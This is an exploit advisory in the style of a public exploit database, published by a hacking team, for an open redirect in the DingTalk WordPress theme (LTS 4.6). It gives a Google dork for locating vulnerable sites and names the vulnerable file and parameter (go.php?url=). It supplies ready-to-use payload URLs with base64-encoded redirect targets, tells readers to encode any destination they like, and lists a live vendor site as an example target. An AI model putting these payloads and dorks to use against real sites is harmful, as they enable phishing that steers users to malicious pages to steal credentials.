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- # Exploit Title : WordPress 5.2.1 DingTalk Themes LTS 4.6 Open Redirection
- # Author [ Discovered By ] : KingSkrupellos
- # Team : Cyberizm Digital Security Army
- # Date : 25/05/2019
- # Vendor Homepage : zmingcx.com - dingfen.net
- # Information Link : zmingcx.com/begin.html
- # WordPress Version : 5.2.1
- # Theme Version : LTS 4.6
- # Tested On : Windows and Linux
- # Category : WebApps
- # Exploit Risk : Medium
- # Google Dorks : inurl:/wp-content/themes/dingtalk/
- # Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
- # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
- # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
- # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
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- # Impact :
- ***********
- WordPress DingTalk Themes accepts a user-controlled input that specifies
- a link to an external site, and uses that link in a Redirect. This simplifies phishing
- attacks. An http parameter may contain a URL value and could cause the web
- application to redirect the request to the specified URL. By modifying the URL
- value to a malicious site, an attacker may successfully launch a phishing scam and
- steal user credentials. Because the server name in the modified link is identical to the
- original site, phishing attempts have a more trustworthy appearance. Open redirect is a
- failure in that process that makes it possible for attackers to steer users to malicious
- websites. This vulnerability is used in phishing attacks to get users to visit malicious
- sites without realizing it. Web users often encounter redirection when they visit the
- Web site of a company whose name has been changed or which has been acquired by
- another company. Visiting unreal web page user's computer becomes affected
- by malware the task of which is to deceive the valid actor and steal his personal data.
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- # Vulnerable File :
- *****************
- /go.php
- # Vulnerable Parameters :
- ***********************
- ?url=
- # Open Redirection Exploit :
- **************************
- /wp-content/themes/dingtalk/go.php?url=[BASE64 Encoded URL]
- /wp-content/themes/dingtalk/go.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
- Note : Convert any random desired redirection address into the Base64 Encoded Link.
- Example 1 => aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8= stands for cxsecurity.com
- Example 2 => aHR0cHM6Ly93d3cuY3liZXJpem0ub3JnLw== stands for cyberizm.org
- Example 3 => aHR0cDovL2V4cGxvaXQ0YXJhYi5vcmcv stands for exploit4arab.org
- Example 4 => aHR0cHM6Ly9wYWNrZXRzdG9ybXNlY3VyaXR5LmNvbS8= stands for packetstormsecurity.com
- Useable Base64 Encoder - Decoder Links :
- base64decode.org
- base64encode.org
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- # Example Vulnerable Sites :
- *************************
- [+] dingfen.net/wp-content/themes/dingtalk/go.php?url=aHR0cHM6Ly9jeHNlY3VyaXR5LmNvbS8=
- ####################################################################
- # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
- ####################################################################
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